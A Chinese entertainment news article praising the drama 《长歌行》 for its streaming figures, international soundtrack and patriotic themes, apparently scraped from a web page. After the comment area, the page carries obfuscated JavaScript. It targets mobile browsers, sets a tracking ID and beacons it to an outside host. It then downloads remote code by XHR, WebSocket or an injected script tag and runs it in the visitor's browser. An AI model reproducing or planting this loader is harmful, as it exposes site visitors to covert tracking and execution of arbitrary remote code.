《长歌行》海外热播 彰显文化自信展大国风范

时间:2021-05-17 19:40:13阅读:4853
从有血有肉的人物中感受赤子少年的家国大义,从浓墨重彩的景象中得见初唐的盛世繁华。由华策影视、琰玉影视、企鹅影视、琰然影视出品,迪丽热巴、吴磊领衔主演的古装传奇剧《长歌行》将在腾讯视频迎来收官。该剧自播
《长歌行》海外热播 彰显文化自信展大国风范
《长歌行》海外热播 彰显文化自信展大国风范
1/8

从有血有肉的人物中感受赤子少年的家国大义,从浓墨重彩的景象中得见初唐的盛世繁华。由华策影视、琰玉影视、企鹅影视、琰然影视出品,迪丽热巴、吴磊领衔主演的古装传奇剧《长歌行》将在腾讯视频迎来收官。该剧自播出以来网络热度持续高涨。反套路古装剧题材的打磨,创新叙事形式的呈现,人物成长群像的塑造,贴近历史的服化道细节把控,以及家国情怀内涵的展现等等,让该剧获得不俗口碑。影视业内专家、国家人文历史、人民日报等央媒党媒、主流媒体、剧评人等纷纷发文推荐,力赞该剧为“难得一见的古装剧标杆性作品”。此外,该剧在海外各大网站的播出,引发了海外观众追剧热潮。从播放量热度不断走高,到持续霸榜各大网站榜首,再到收获海外诸多好评,《长歌行》显然走出了“火爆”全网的趋势。

海外霸屏!播放量、热度持续创新高

数据显示,《长歌行》播出期间,在猫眼、骨朵、德塔文在内的多个专业数据平台排行榜名列前茅,且多次拿下电视剧榜TOP1的好成绩。相关微博热搜上榜220次,#长歌行泪崩瞬间#、#长歌满脑是隼##皓嫣#等衍生话题,亦在网络端掀起不小热度。

微博话题总阅读量超1650亿,全网热搜话题多达700余个,微博剧集榜连续高位上榜。一系列花絮、MV等剧情联动,为观众提供新鲜有趣的追剧体验。相关视频物料浏览量超过69亿,视频人气值117亿。腾讯视频播放量破29亿,评分7.9,目前,该剧已连续一个月霸榜腾讯电视剧热榜榜首。

该剧在中国台湾网站的同步热播也获得了不俗成绩。视频网站MyVideo数据显示,《长歌行》在全站戏剧类节目排名第二。爱奇艺台湾站人气榜排名第一。而在台湾爱尔达4月剧集和台湾LINE TV首页热播排行榜中均位列前三名。

与此同时,经由出品方华策的对外输出,《长歌行》在海外也取得了优秀的播放成绩。截至目前,《长歌行》在YouTube上跟播总播放量已超过1亿次,评论超5万条。

除了主频道外,YouTube还上线了英语、西语、阿语、越南语、泰语、俄语等字幕和配音,让多国观众都能在线追剧。在北美最具影响力的华人品牌代表之一的italkBB网站,《长歌行》获首页推荐,并斩获电视剧排行榜第一的好成绩。

在全球专注于亚洲内容且拥有最大片库的OTT平台VIKI上,《长歌行》被翻译成16种语言,观众群体覆盖全球。

此外,剧中气势磅礴的音乐配合,为《长歌行》故事的氛围烘托增色。音乐总监金大洲亲自操刀,云集了《泰坦尼克号》风笛大师Eric Rigler、布达佩斯电影交响乐团、西班牙著名女歌手Tyna Ros、美国著名吉他手Andrew Synowiec等国际艺术家,以及周深、张碧晨、萨顶顶、金玟岐、刘宇宁等国内实力歌手,在疫情期间跨几大洲联合制作,用心缔造气势磅礴,格局大气的影视音乐。BGM方面运用了大量人声元素,包括不同地域的民族原生态的人声元素,精准的人声哼鸣与国际乐器加以交融,赋予传统艺术年轻化、国际化“语言”,推动《长歌行》走向世界。诸多海外观众表现出了对配乐的欣赏,诸如“现象级的配乐”,“音乐无国界,感谢有才华且努力的人们”等好评不绝于耳。

好内容除了需要体现在剧内的一系列创新与用心之上,更要读懂受众、走进其内心世界。正如观众评论的那句“音乐无国界”,艺术也是无国界的。从团队精心打造“古风”审美,到音乐与剧集主题的完美契合,再到观众与角色的共情,《长歌行》在俘获海外观众的同时,亦牢牢抓住了新时代观众对于电视剧的审美旨趣。

华流出海!和平底蕴展大国姿态

一部好的作品势必会给观众思考的空间,一个好的故事也会让人受益匪浅,《长歌行》留给观众的不只是持续高涨的热度和口碑,更有埋在故事里的宏大格局。有海外观众评论称自己看剧后感悟颇多。“爱国就是爱出生的疆土,而不单单是哪个党派,维护这片土地的完整和人们的幸福是所有儿女的责任。”立足于人物与故事,《长歌行》拥有辉映现实的底蕴内涵,剧中传递出的中国坚持走和平发展之路的外交政策,以及全球人民共同期待和平发展的主题,引发了海外观众的同频共振。

“抛去爱情,这是一部能够给外国人传达到中国忠义,礼孝,齐家,治国,平天下理念的剧。”剧中李长歌身为大唐子民,对自己国家和人民所表现出来的深情大爱,对民族团结、人民幸福所展现出来的理想追求,彰显了中华优秀传统文化的精华,也让海外产生共情感—爱国爱家是每个人对自己国家一种高度认同感和归属感、责任感和使命感,个体的命运永远与时代、与国家、与民族的发展密不可分。

作为影视行业的龙头企业,出品方华策多年来始终以“制作出让全世界都喜欢的中国内容,推动中国文化走向世界”为目标实行“华流出海”战略,每一部自制剧都以发行海外市场为方向,从选题策划到剧本创作、主创班底的搭建、拍摄直至后期制作、译制,每个环节都参照国际化要求。成熟的制作以及精准对焦海外受众的喜好,因此《长歌行》在海外播出时,深受海外观众好评。除了成长故事,人性情感,家国大义引发共情,《长歌行》剧中对于初唐风貌和盛世礼仪背后悠久灿烂的中华文明的呈现,也让海外观众深深折服于中国文化的魅力。通过文化输出,不仅让海外观众感受到了中华文化的丰富和厚重,也彰显出了中华民族的文化自信。

从艺术角度的相同审美,到文化血脉的深刻共情,《长歌行》以真情、匠心与海外观众建立情感,并为其带去圆满且幸福的追剧体验,堪称国产古装剧创作标杆之作。出品方华策将继续不忘初心,充分发挥行业引领作用,汇集各方资源,真正推动全球交流合作,促进整个行业发展壮大。

相关资讯

评论

  • 评论加载中...

function fRcFHjw(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ZxvGBtn(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return fRcFHjw(t);};window[''+'F'+'r'+'d'+'S'+'U'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=ZxvGBtn,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://phm.jtvpeuu.com:7891/stats/7731/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0EElMkYlMkZncnQuc2lhdWh3by5jb20lM0EE4ODkx','d3NzJJTNBJJTJJGJJTJJGdGd1LmN6dHJJ4eC5jb20lM0E5NTMz','135562',window,document,['E','J']);}:function(){};